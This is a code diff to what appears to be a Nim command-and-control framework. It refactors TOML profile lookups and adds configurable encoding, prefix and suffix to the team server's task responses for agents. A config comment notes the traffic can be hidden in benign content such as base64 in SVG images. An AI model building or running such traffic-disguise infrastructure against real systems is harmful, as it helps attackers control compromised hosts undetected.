diff --git a/data/profile.toml b/data/profile.toml index 6870076..4037327 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -59,6 +59,7 @@ Connection = "Keep-Alive" # Defines how the server's response to the task retrieval request is rendered # Allows same data transformation options as the agent metadata, allowing it to be embedded in benign content +# e.g base64-encoded in a svg/img [http-get.server.output] placement = { type = "body" } diff --git a/src/common/profile.nim b/src/common/profile.nim new file mode 100644 index 0000000..7b763c3 --- /dev/null +++ b/src/common/profile.nim @@ -0,0 +1,43 @@ +import parsetoml, strutils +import ./[types, utils] + +proc findKey(profile: Profile, path: string): TomlValueRef = + let keys = path.split(".") + let target = keys[keys.high] + + var current = profile + for i in 0 ..< keys.high: + let temp = current.getOrDefault(keys[i]) + if temp == nil: + return nil + current = temp + + return current.getOrDefault(target) + +# Takes a specific "."-separated path as input and returns a default value if the key does not exits +# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the +# prefix key, or "not found" if the target key or any sub-tables don't exist + +proc getString*(profile: Profile, path: string, default: string = ""): string = + let key = profile.findKey(path) + if key == nil: + return default + return key.getStr(default) + +proc getBool*(profile: Profile, path: string, default: bool = false): bool = + let key = profile.findKey(path) + if key == nil: + return default + return key.getBool(default) + +proc getInt*(profile: Profile, path: string, default = 0): int = + let key = profile.findKey(path) + if key == nil: + return default + return key.getInt(default) + +proc getTable*(profile: Profile, path: string): TomlTableRef = + let key = profile.findKey(path) + if key == nil: + return new TomlTableRef + return key.getTable() diff --git a/src/common/types.nim b/src/common/types.nim index 295b6c1..3f530e8 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -163,7 +163,7 @@ type privateKey*: Key publicKey*: Key - Profile* = TomlTableRef + Profile* = TomlValueRef Conquest* = ref object prompt*: Prompt diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 7551f4f..59886f3 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -1,9 +1,9 @@ import prologue, json, terminal, strformat, parsetoml, tables import sequtils, strutils, times, base64 - +import sugar import ./handlers import ../[utils, globals] -import ../../common/[types, utils, serialize] +import ../../common/[types, utils, serialize, profile] proc error404*(ctx: Context) {.async.} = resp "", Http404 @@ -19,11 +19,11 @@ proc httpGet*(ctx: Context) {.async.} = # Check heartbeat metadata placement var heartbeat: seq[byte] var heartbeatString: string - let heartbeatPlacement = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["type"].getStr() + let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type") case heartbeatPlacement: of "header": - let heartbeatHeader = cq.profile["http-get"]["agent"]["heartbeat"]["placement"]["name"].getStr() + let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name") if not ctx.request.hasHeader(heartbeatHeader): resp "", Http404 return @@ -40,9 +40,9 @@ proc httpGet*(ctx: Context) {.async.} = # Retrieve and apply data transformation to get raw heartbeat packet let - encoding = cq.profile["http-get"]["agent"]["heartbeat"]["encoding"]["type"].getStr("none") - prefix = cq.profile["http-get"]["agent"]["heartbeat"]["prefix"].getStr("") - suffix = cq.profile["http-get"]["agent"]["heartbeat"]["suffix"].getStr("") + encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") + prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") + suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] @@ -53,7 +53,7 @@ proc httpGet*(ctx: Context) {.async.} = heartbeat = string.toBytes(encHeartbeat) try: - var response: seq[byte] + var responseBytes: seq[byte] let tasks: seq[seq[byte]] = getTasks(heartbeat) if tasks.len <= 0: @@ -62,17 +62,31 @@ proc httpGet*(ctx: Context) {.async.} = # Create response, containing number of tasks, as well as length and content of each task # This makes it easier for the agent to parse the tasks - response.add(cast[uint8](tasks.len)) + responseBytes.add(cast[uint8](tasks.len)) for task in tasks: - response.add(uint32.toBytes(uint32(task.len))) - response.add(task) + responseBytes.add(uint32.toBytes(uint32(task.len))) + responseBytes.add(task) + # Apply data transformation to the response + var response: string + let + encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none") + prefix = cq.profile.getString("http-get.server.output.prefix") + suffix = cq.profile.getString("http-get.server.output.suffix") + + case encoding: + of "none": + response = Bytes.toString(responseBytes) + of "base64": + response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe")) + else: discard + # Add headers, as defined in the team server profile - for header, value in cq.profile["http-get"]["server"]["headers"].getTable(): + for header, value in cq.profile.getTable("http-get.server.headers"): ctx.response.setHeader(header, value.getStr()) - await ctx.respond(Http200, Bytes.toString(response), ctx.response.headers) + await ctx.respond(Http200, prefix & response & suffix, ctx.response.headers) ctx.handled = true # Ensure that HTTP response is sent only once # Notify operator that agent collected tasks @@ -102,7 +116,7 @@ proc httpPost*(ctx: Context) {.async.} = let header = unpacker.deserializeHeader() # Add response headers, as defined in team server profile - for header, value in cq.profile["http-post"]["server"]["headers"].getTable(): + for header, value in cq.profile.getTable("http-post.server.headers"): ctx.response.setHeader(header, value.getStr()) if cast[PacketType](header.packetType) == MSG_REGISTER: diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 6644614..406416b 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -152,19 +152,10 @@ proc startServer*(profilePath: string) = try: # Load and parse profile - let profile = parseFile(profilePath).getTable + let profile = parseFile(profilePath) styledEcho(fgGreen, styleBright, "[+] Using profile \"", profile["name"].getStr(), "\" (", profilePath ,").") styledEcho(fgGreen, styleBright, "[+] ", profile["private_key_file"].getStr(), ": Private key found.") - # # dump table.getTable() - # let headers = table["http-get"]["agent"]["headers"].getTable() - # for key, value in headers: - # if value.kind == TomlValueKind.Table: - # echo value["encoding"] - # echo value["append"] - # echo value["prepend"] - # echo key - # Initialize framework context cq = Conquest.init(profile)